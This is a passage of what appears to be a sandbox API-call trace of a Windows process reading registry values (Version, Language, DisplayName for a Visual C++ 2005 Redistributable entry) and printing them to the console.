(_File=0x7fefd702ab0) returned 1 [0148.421] _errno () returned 0xc4bb0 [0148.422] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.422] _errno () returned 0xc4bb0 [0148.422] GetFileType (hFile=0x50) returned 0x1 [0148.422] lstrlenW (lpString="0x1") returned 3 [0148.422] GetConsoleOutputCP () returned 0x1b5 [0148.422] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0148.422] GetConsoleOutputCP () returned 0x1b5 [0148.422] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0148.422] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0148.422] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.422] __iob_func () returned 0x7fefd702a80 [0148.422] _fileno (_File=0x7fefd702ab0) returned 1 [0148.422] _errno () returned 0xc4bb0 [0148.422] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.422] _errno () returned 0xc4bb0 [0148.422] GetFileType (hFile=0x50) returned 0x1 [0148.422] lstrlenW (lpString="\n") returned 1 [0148.422] GetConsoleOutputCP () returned 0x1b5 [0148.422] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.422] GetConsoleOutputCP () returned 0x1b5 [0148.423] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.423] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.423] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.423] GetProcessHeap () returned 0x2e0000 [0148.423] GetProcessHeap () returned 0x2e0000 [0148.423] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.423] GetProcessHeap () returned 0x2e0000 [0148.423] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.423] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.423] RegEnumValueW (in: hKey=0x5c, dwIndex=0x16, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Version", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.423] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Version", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.423] GetProcessHeap () returned 0x2e0000 [0148.423] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.423] GetProcessHeap () returned 0x2e0000 [0148.423] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.423] GetProcessHeap () returned 0x2e0000 [0148.423] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.423] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Version", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x800ee48, pcbData=0x23f670*=0x4) returned 0x0 [0148.423] __iob_func () returned 0x7fefd702a80 [0148.423] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.423] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.423] _fileno (_File=0x7fefd702ab0) returned 1 [0148.423] _errno () returned 0xc4bb0 [0148.423] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.423] _errno () returned 0xc4bb0 [0148.423] GetFileType (hFile=0x50) returned 0x1 [0148.423] lstrlenW (lpString=" ") returned 4 [0148.423] GetConsoleOutputCP () returned 0x1b5 [0148.423] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.423] GetConsoleOutputCP () returned 0x1b5 [0148.424] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.424] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.424] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.424] lstrlenW (lpString="Version") returned 7 [0148.424] __iob_func () returned 0x7fefd702a80 [0148.424] _fileno (_File=0x7fefd702ab0) returned 1 [0148.424] _errno () returned 0xc4bb0 [0148.424] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.424] _errno () returned 0xc4bb0 [0148.424] GetFileType (hFile=0x50) returned 0x1 [0148.424] lstrlenW (lpString="Version") returned 7 [0148.424] GetConsoleOutputCP () returned 0x1b5 [0148.424] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Version", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0148.424] GetConsoleOutputCP () returned 0x1b5 [0148.424] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Version", cchWideChar=7, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Version", lpUsedDefaultChar=0x0) returned 7 [0148.424] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 7 [0148.424] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.424] __iob_func () returned 0x7fefd702a80 [0148.424] _fileno (_File=0x7fefd702ab0) returned 1 [0148.424] _errno () returned 0xc4bb0 [0148.424] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.424] _errno () returned 0xc4bb0 [0148.424] GetFileType (hFile=0x50) returned 0x1 [0148.424] lstrlenW (lpString=" ") returned 4 [0148.425] GetConsoleOutputCP () returned 0x1b5 [0148.425] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.425] GetConsoleOutputCP () returned 0x1b5 [0148.425] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.425] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.425] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.425] __iob_func () returned 0x7fefd702a80 [0148.425] _fileno (_File=0x7fefd702ab0) returned 1 [0148.425] _errno () returned 0xc4bb0 [0148.425] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.425] _errno () returned 0xc4bb0 [0148.425] GetFileType (hFile=0x50) returned 0x1 [0148.425] lstrlenW (lpString="REG_DWORD") returned 9 [0148.425] GetConsoleOutputCP () returned 0x1b5 [0148.425] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.425] GetConsoleOutputCP () returned 0x1b5 [0148.425] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0148.425] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.425] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.426] __iob_func () returned 0x7fefd702a80 [0148.426] _fileno (_File=0x7fefd702ab0) returned 1 [0148.426] _errno () returned 0xc4bb0 [0148.426] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.426] _errno () returned 0xc4bb0 [0148.426] GetFileType (hFile=0x50) returned 0x1 [0148.426] lstrlenW (lpString=" ") returned 4 [0148.426] GetConsoleOutputCP () returned 0x1b5 [0148.426] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.426] GetConsoleOutputCP () returned 0x1b5 [0148.426] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.426] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.426] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.426] __iob_func () returned 0x7fefd702a80 [0148.426] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.426] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x800ee48") returned 9 [0148.426] _fileno (_File=0x7fefd702ab0) returned 1 [0148.426] _errno () returned 0xc4bb0 [0148.426] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.426] _errno () returned 0xc4bb0 [0148.426] GetFileType (hFile=0x50) returned 0x1 [0148.426] lstrlenW (lpString="0x800ee48") returned 9 [0148.426] GetConsoleOutputCP () returned 0x1b5 [0148.427] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x800ee48", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.427] GetConsoleOutputCP () returned 0x1b5 [0148.427] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x800ee48", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x800ee48", lpUsedDefaultChar=0x0) returned 9 [0148.427] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.427] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.427] __iob_func () returned 0x7fefd702a80 [0148.427] _fileno (_File=0x7fefd702ab0) returned 1 [0148.427] _errno () returned 0xc4bb0 [0148.427] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.427] _errno () returned 0xc4bb0 [0148.427] GetFileType (hFile=0x50) returned 0x1 [0148.427] lstrlenW (lpString="\n") returned 1 [0148.427] GetConsoleOutputCP () returned 0x1b5 [0148.427] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.427] GetConsoleOutputCP () returned 0x1b5 [0148.427] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.427] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.427] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.427] GetProcessHeap () returned 0x2e0000 [0148.427] GetProcessHeap () returned 0x2e0000 [0148.427] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.427] GetProcessHeap () returned 0x2e0000 [0148.427] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.428] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.428] RegEnumValueW (in: hKey=0x5c, dwIndex=0x17, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Language", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.428] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Language", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.428] GetProcessHeap () returned 0x2e0000 [0148.428] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.428] GetProcessHeap () returned 0x2e0000 [0148.428] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.428] GetProcessHeap () returned 0x2e0000 [0148.428] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.428] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Language", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.428] __iob_func () returned 0x7fefd702a80 [0148.428] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.428] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.428] _fileno (_File=0x7fefd702ab0) returned 1 [0148.428] _errno () returned 0xc4bb0 [0148.428] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.428] _errno () returned 0xc4bb0 [0148.428] GetFileType (hFile=0x50) returned 0x1 [0148.428] lstrlenW (lpString=" ") returned 4 [0148.428] GetConsoleOutputCP () returned 0x1b5 [0148.428] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.428] GetConsoleOutputCP () returned 0x1b5 [0148.428] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.428] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.428] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.428] lstrlenW (lpString="Language") returned 8 [0148.428] __iob_func () returned 0x7fefd702a80 [0148.429] _fileno (_File=0x7fefd702ab0) returned 1 [0148.429] _errno () returned 0xc4bb0 [0148.429] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.429] _errno () returned 0xc4bb0 [0148.429] GetFileType (hFile=0x50) returned 0x1 [0148.429] lstrlenW (lpString="Language") returned 8 [0148.429] GetConsoleOutputCP () returned 0x1b5 [0148.429] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Language", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0148.429] GetConsoleOutputCP () returned 0x1b5 [0148.429] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Language", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Language", lpUsedDefaultChar=0x0) returned 8 [0148.429] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0148.429] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.429] __iob_func () returned 0x7fefd702a80 [0148.429] _fileno (_File=0x7fefd702ab0) returned 1 [0148.429] _errno () returned 0xc4bb0 [0148.429] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.429] _errno () returned 0xc4bb0 [0148.429] GetFileType (hFile=0x50) returned 0x1 [0148.429] lstrlenW (lpString=" ") returned 4 [0148.429] GetConsoleOutputCP () returned 0x1b5 [0148.429] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.429] GetConsoleOutputCP () returned 0x1b5 [0148.430] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.430] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.430] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.430] __iob_func () returned 0x7fefd702a80 [0148.430] _fileno (_File=0x7fefd702ab0) returned 1 [0148.430] _errno () returned 0xc4bb0 [0148.430] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.430] _errno () returned 0xc4bb0 [0148.430] GetFileType (hFile=0x50) returned 0x1 [0148.430] lstrlenW (lpString="REG_DWORD") returned 9 [0148.430] GetConsoleOutputCP () returned 0x1b5 [0148.430] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.430] GetConsoleOutputCP () returned 0x1b5 [0148.430] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0148.430] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.430] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.430] __iob_func () returned 0x7fefd702a80 [0148.430] _fileno (_File=0x7fefd702ab0) returned 1 [0148.430] _errno () returned 0xc4bb0 [0148.430] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.430] _errno () returned 0xc4bb0 [0148.430] GetFileType (hFile=0x50) returned 0x1 [0148.430] lstrlenW (lpString=" ") returned 4 [0148.430] GetConsoleOutputCP () returned 0x1b5 [0148.431] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.431] GetConsoleOutputCP () returned 0x1b5 [0148.431] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.431] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.431] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.431] __iob_func () returned 0x7fefd702a80 [0148.431] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.431] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x0") returned 3 [0148.431] _fileno (_File=0x7fefd702ab0) returned 1 [0148.431] _errno () returned 0xc4bb0 [0148.431] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.431] _errno () returned 0xc4bb0 [0148.431] GetFileType (hFile=0x50) returned 0x1 [0148.431] lstrlenW (lpString="0x0") returned 3 [0148.431] GetConsoleOutputCP () returned 0x1b5 [0148.431] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0148.431] GetConsoleOutputCP () returned 0x1b5 [0148.431] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x0", lpUsedDefaultChar=0x0) returned 3 [0148.431] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0148.431] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.432] __iob_func () returned 0x7fefd702a80 [0148.432] _fileno (_File=0x7fefd702ab0) returned 1 [0148.432] _errno () returned 0xc4bb0 [0148.432] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.432] _errno () returned 0xc4bb0 [0148.432] GetFileType (hFile=0x50) returned 0x1 [0148.432] lstrlenW (lpString="\n") returned 1 [0148.432] GetConsoleOutputCP () returned 0x1b5 [0148.432] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.432] GetConsoleOutputCP () returned 0x1b5 [0148.432] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.432] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.432] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.432] GetProcessHeap () returned 0x2e0000 [0148.432] GetProcessHeap () returned 0x2e0000 [0148.432] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.432] GetProcessHeap () returned 0x2e0000 [0148.432] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.432] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.432] RegEnumValueW (in: hKey=0x5c, dwIndex=0x18, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.432] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x62) returned 0x0 [0148.432] GetProcessHeap () returned 0x2e0000 [0148.432] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x64) returned 0x3019a0 [0148.432] GetProcessHeap () returned 0x2e0000 [0148.432] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3019a0) returned 1 [0148.432] GetProcessHeap () returned 0x2e0000 [0148.432] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x3019a0) returned 0x64 [0148.432] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x3019a0, pcbData=0x23f670*=0x62 | out: pdwType=0x23f5f0*=0x1, pvData="Microsoft Visual C++ 2005 Redistributable (x64)", pcbData=0x23f670*=0x60) returned 0x0 [0148.433] __iob_func () returned 0x7fefd702a80 [0148.433] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.433] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.433] _fileno (_File=0x7fefd702ab0) returned 1 [0148.433] _errno () returned 0xc4bb0 [0148.433] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.433] _errno () returned 0xc4bb0 [0148.433] GetFileType (hFile=0x50) returned 0x1 [0148.433] lstrlenW (lpString=" ") returned 4 [0148.433] GetConsoleOutputCP () returned 0x1b5 [0148.433] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.433] GetConsoleOutputCP () returned 0x1b5 [0148.433] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.433] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.433] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.433] lstrlenW (lpString="DisplayName") returned 11 [0148.433] __iob_func () returned 0x7fefd702a80 [0148.433] _fileno (_File=0x7fefd702ab0) returned 1 [0148.433] _errno () returned 0xc4bb0 [0148.433] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.433] _errno () returned 0xc4bb0 [0148.433] GetFileType (hFile=0x50) returned 0x1 [0148.433] lstrlenW (lpString="DisplayName") returned 11 [0148.433] GetConsoleOutputCP () returned 0x1b5 [0148.434] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 